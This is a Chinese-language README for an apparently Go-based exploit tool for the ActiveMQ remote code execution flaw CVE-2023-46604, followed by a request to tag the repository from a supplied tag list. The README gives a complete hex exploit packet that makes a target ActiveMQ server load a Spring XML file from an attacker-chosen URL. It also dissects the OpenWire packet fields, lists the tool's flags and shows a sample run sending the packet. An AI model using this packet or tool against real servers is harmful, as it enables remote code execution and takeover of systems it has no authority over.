base on ActiveMQ RCE (CVE-2023-46604) 漏洞利用工具 # ActiveMQ-RCE [[English Version]](https://github.com/X1r0z/ActiveMQ-RCE/blob/main/README-en.md) ActiveMQ RCE (CVE-2023-46604) 漏洞利用工具, 基于 Go 语言 一些详细的分析报告 [https://exp10it.io/2023/10/apache-activemq-版本-5.18.3-rce-分析](https://exp10it.io/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/) [https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis](https://attackerkb.com/topics/IHsgZDE3tS/cve-2023-46604/rapid7-analysis) ## OpenWire 协议分析 参考官方的文档以及 Wireshark 对 OpenWire 协议进行简单分析 [https://activemq.apache.org/openwire-version-2-specification](https://activemq.apache.org/openwire-version-2-specification) 一个简单的 ActiveMQ RCE 数据包如下 ``` 000000701f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383030302f706f632e786d6c ``` 我们可以把它分成两个部分: header 和 body header ``` +----------------------------------------------------------------------------------+ | Packet Length | Command | Command Id | Command response required | CorrelationId | |---------------|---------|------------|---------------------------|---------------| | 00000070 | 1f | 00000000 | 00 | 00000000 | +----------------------------------------------------------------------------------+ ``` Packet Length: body 部分的长度 / 2 Command: Command 类型标识符 (Type Identifier), `1f` 对应 ExceptionResponse Command Id: 顾名思义, 这里以全 0 填充 Command response required: 表示是否需要响应 CorrelationId: 顾名思义, 这里以全 0 填充 body ``` +--------------------------------------------------------------------------------------+ | not-null | not-null | classname-size | classname | not-null | message-size | message | |----------|----------|----------------|-----------|----------|--------------|---------| | 01 | 01 | 0042 | ..... | 01 | 001d | ..... | +--------------------------------------------------------------------------------------+ ``` 开头的 not-null 为 `01`, 代表整个 body 部分不为空, 后面每三个部分代表一个 String 类型 not-null 代表 classname 这个字符串不为空, 然后跟上其长度以及 hex 内容 , message 以此类推 可以参考官方文档给出的示意图 String Type Encoding ``` [=If not-null is 1===========] +----------+ [ +-------+----------------+ ] | not-null | [ | size | encoded-string | ] +----------+ [ +-------+----------------+ ] | byte | [ | short | size octects | ] +----------+ [ +-------+----------------+ ] [============================] ``` Throwable Type Encoding ``` [=If not-null is 1===========================================================================] [ [=If StackTraceEnabled option is enabled.==================] ] [ [ [=Repeated size times======================] ] ] +----------+ [ +----------------+---------+ [ +-------+ [ +--------+--------+--------+-------------+ ] ] ] | not-null | [ | exception-name | message | [ | size | [ | class | method | file | line-number | ] ] ] +----------+ [ +----------------+---------+ [ +-------+ [ +--------+--------+--------+-------------+ ] ] ] | byte | [ | string | string | [ | short | [ | string | string | string | int | ] ] ] +----------+ [ +----------------+---------+ [ +-------+ [ +--------+--------+--------+-------------+ ] ] ] [ [ [============================================] ] ] [ [==========================================================] ] [============================================================================================] ``` ## Usage usage ```bash _ _ _ __ __ ___ ____ ____ _____ / \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____| / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _| / ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___ /_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____| Usage of ./ActiveMQ-RCE: -i string ActiveMQ Server IP or Host -p string ActiveMQ Server Port (default "61616") -u string Spring XML Url ``` exploit ```bash $ ./ActiveMQ-RCE -i 127.0.0.1 -u http://127.0.0.1:8000/poc.xml _ _ _ __ __ ___ ____ ____ _____ / \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____| / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _| / ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___ /_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____| [*] Target: 127.0.0.1:61616 [*] XML URL: http://127.0.0.1:8000/poc.xml [*] Sending packet: 000000701f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001d687474703a2f2f3132372e302e302e313a383030302f706f632e786d6c ``` 如果只是单纯的检测是否存在漏洞, 可以将 spring xml url 改成 dnslog 地址 ", Assign "at most 3 tags" to the expected json: {"id":"4480","tags":[]} "only from the tags list I provide: [{"id":77,"name":"3d"},{"id":89,"name":"agent"},{"id":17,"name":"ai"},{"id":54,"name":"algorithm"},{"id":24,"name":"api"},{"id":44,"name":"authentication"},{"id":3,"name":"aws"},{"id":27,"name":"backend"},{"id":60,"name":"benchmark"},{"id":72,"name":"best-practices"},{"id":39,"name":"bitcoin"},{"id":37,"name":"blockchain"},{"id":1,"name":"blog"},{"id":45,"name":"bundler"},{"id":58,"name":"cache"},{"id":21,"name":"chat"},{"id":49,"name":"cicd"},{"id":4,"name":"cli"},{"id":64,"name":"cloud-native"},{"id":48,"name":"cms"},{"id":61,"name":"compiler"},{"id":68,"name":"containerization"},{"id":92,"name":"crm"},{"id":34,"name":"data"},{"id":47,"name":"database"},{"id":8,"name":"declarative-gui "},{"id":9,"name":"deploy-tool"},{"id":53,"name":"desktop-app"},{"id":6,"name":"dev-exp-lib"},{"id":59,"name":"dev-tool"},{"id":13,"name":"ecommerce"},{"id":26,"name":"editor"},{"id":66,"name":"emulator"},{"id":62,"name":"filesystem"},{"id":80,"name":"finance"},{"id":15,"name":"firmware"},{"id":73,"name":"for-fun"},{"id":2,"name":"framework"},{"id":11,"name":"frontend"},{"id":22,"name":"game"},{"id":81,"name":"game-engine "},{"id":23,"name":"graphql"},{"id":84,"name":"gui"},{"id":91,"name":"http"},{"id":5,"name":"http-client"},{"id":51,"name":"iac"},{"id":30,"name":"ide"},{"id":78,"name":"iot"},{"id":40,"name":"json"},{"id":83,"name":"julian"},{"id":38,"name":"k8s"},{"id":31,"name":"language"},{"id":10,"name":"learning-resource"},{"id":33,"name":"lib"},{"id":41,"name":"linter"},{"id":28,"name":"lms"},{"id":16,"name":"logging"},{"id":76,"name":"low-code"},{"id":90,"name":"message-queue"},{"id":42,"name":"mobile-app"},{"id":18,"name":"monitoring"},{"id":36,"name":"networking"},{"id":7,"name":"node-version"},{"id":55,"name":"nosql"},{"id":57,"name":"observability"},{"id":46,"name":"orm"},{"id":52,"name":"os"},{"id":14,"name":"parser"},{"id":74,"name":"react"},{"id":82,"name":"real-time"},{"id":56,"name":"robot"},{"id":65,"name":"runtime"},{"id":32,"name":"sdk"},{"id":71,"name":"search"},{"id":63,"name":"secrets"},{"id":25,"name":"security"},{"id":85,"name":"server"},{"id":86,"name":"serverless"},{"id":70,"name":"storage"},{"id":75,"name":"system-design"},{"id":79,"name":"terminal"},{"id":29,"name":"testing"},{"id":12,"name":"ui"},{"id":50,"name":"ux"},{"id":88,"name":"video"},{"id":20,"name":"web-app"},{"id":35,"name":"web-server"},{"id":43,"name":"webassembly"},{"id":69,"name":"workflow"},{"id":87,"name":"yaml"}]" returns me the "expected json"